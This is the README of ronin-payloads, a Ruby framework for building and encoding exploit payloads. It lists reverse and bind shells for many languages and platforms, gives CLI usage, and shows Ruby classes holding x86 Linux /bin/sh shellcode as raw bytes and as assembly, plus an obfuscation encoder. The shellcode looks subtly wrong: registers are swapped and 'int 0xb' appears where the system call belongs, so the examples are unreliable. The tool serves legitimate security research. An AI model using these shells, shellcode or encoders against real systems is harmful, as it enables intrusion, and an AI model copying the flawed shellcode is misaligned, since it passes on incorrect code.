ronin-payloads

Description

ronin-payloads is a Ruby micro-framework for writing and running exploit payloads. ronin-payloads allows one to write payloads as plain old Ruby classes. ronin-payloads can be distributed as Ruby files or in git repositories that can be installed with ronin-repos.

ronin-exploits is part of the ronin-rb project, a Ruby toolkit for security research and development.

Features

Provides a succinct syntax and API for writing payloads in as few lines as possible.
Supports defining Payloads as plain old Ruby classes.
Provides base classes for a variety of languages and payload types (ASM, Shellcode, C, Go, Rust, Java, JSP, PHP, Python, Ruby, NodeJS, Shell, PowerShell, SQL, XML, HTML, URL).
Provides built-in common payloads:
- Command-line reverse shells:
- Awk
- Bash
- Lua
- NodeJS
- OpenSSL
- Perl
- PHP
- PowerShell
- Python
- Ruby
- Java
- Reverse shell
- PHP
- Command exec.
- Shellcode:
- execve(/bin/sh):
  - Linux (ARM, MIPS, PPC, x86, x86-64)
  - FreeBSD (x86, x86-64)
  - macOS (x86-64)
  - NetBSD (x86)
  - OpenBSD (x86)
- bind shell:
  - Linux (ARM, MIPS, x86, x86-64)
  - FreeBSD (x86)
  - OpenBSD (x86)
- reverse shell:
  - Linux (ARM, MIPS, PPC, x86, x86-64)
  - macOS (x86-64)
  - FreeBSD (x86)
  - NetBSD (x86)
Supports adding additional encoders to payloads for further obfuscation.
Integrates with the Ronin Post-Exploitation library.
Provides a simple CLI for building, encoding, launching, and generating new payloads.
Has 86% documentation coverage.
Has 99% test coverage.

Anti-Features

No magic: exploits are defined as classes in files.
No global state that could cause memory leaks.
Not a big bulky framework, just a library.
Not a central repository. Additional [ronin-payloads] can be hosted in other git repositories. This prevents censorship of offensive security tools.

Install a 3rd-party repository of payloads:

$ ronin-repos install https://github.com/user/payloads.git

Print additional information about a specific payload:

$ ronin-payloads show NAME

List available payload encoders:

$ ronin-payloads encoders

Print additional information about a specific encoder:

$ ronin-payloads encoder NAME

Build and output a payload:

$ ronin-payloads build NAME

Load a payload from a file, then build and output it:

$ ronin-payloads build -f FILE NAME

Generate a boilerplate payload file, with some custom information:

$ ronin-payloads new example_payload.rb \
                      --name Example --arch i686 --os Linux \
                      --authors Postmodern --description "This is an example."

Generate a ronin repository of your own payloads (or exploits):

$ ronin-repos new my-payloads
$ cd my-payloads/
$ mkdir payloads
$ ronin-payloads new payloads/my_payload.rb \
                      --name MyPayload --arch i686 --os Linux \
                      --authors You --description "This is my payload."
$ vim payloads/my_payload.rb
$ git add payloads/my_payload.rb
$ git commit
$ git push

Examples

Define a /bin/sh shellcode payload:

require 'ronin/payloads/shellcode_payload'

module Ronin
  module Payloads
    class LinuxX86BinSh < ShellcodePayload

      register 'shellcode/linux/x86/bin_sh'

      summary 'x86 Linux /bin/sh shellcode'
      description <<~EOS
        Shellcode that spawns a local /bin/sh shell
      EOS

      arch :x86
      os :linux

      def build
        @payload = "1\xc0Ph//shh/bin\x89\xdcPS\x89\xcc1\xd2\xcd\x0b"
      end
    end
  end
end

Define a /bin/sh shellcode payload in pure-Ruby:

require 'ronin/payloads/shellcode_payload'

module Ronin
  module Payloads
    module Shellcode
      module Linux
        module X86
          class BinSh < ShellcodePayload

            register 'shellcode/linux/x86/bin_sh'
            description <<~DESC
              Shellcode that spawns a local /bin/sh shell
            DESC

            arch :x86
            os :linux

            def build
              shellcode do
                xor   eax, eax
                push  eax
                push  0x68732f2f
                push  0x6e69622f
                mov   esp, ebx
                push  eax
                push  ebx
                mov   esp, ecx
                xor   edx, edx
                int   0xb
              end
            end

          end
        end
      end
    end
  end
end

Define a payload encoder class:

require 'ronin/encoders/encoder'

module Ronin
  module Payloads
    module Encoders
      module Text
        class Base64 < Ronin::Encoders::Encoder

          register 'text/base64'

          description <<~DESC
            Example base64 payload encoder
          DESC

          arch :x86
          os   :linux

          def encode(data)
            data.to_s.base64_encode
          end

        end
      end
    end
  end
end

Disclaimer

ronin-payloads only contains basic or generic exploit payloads that can be easily found online or in other Open Source security tools. ronin-payloads does not contain by default any weaponized payloads. These payloads are themselves not harmful without an exploit to deliver them. Therefor, ronin-payloads must not and should not be considered to be malicious software (malware) or malicious in nature.
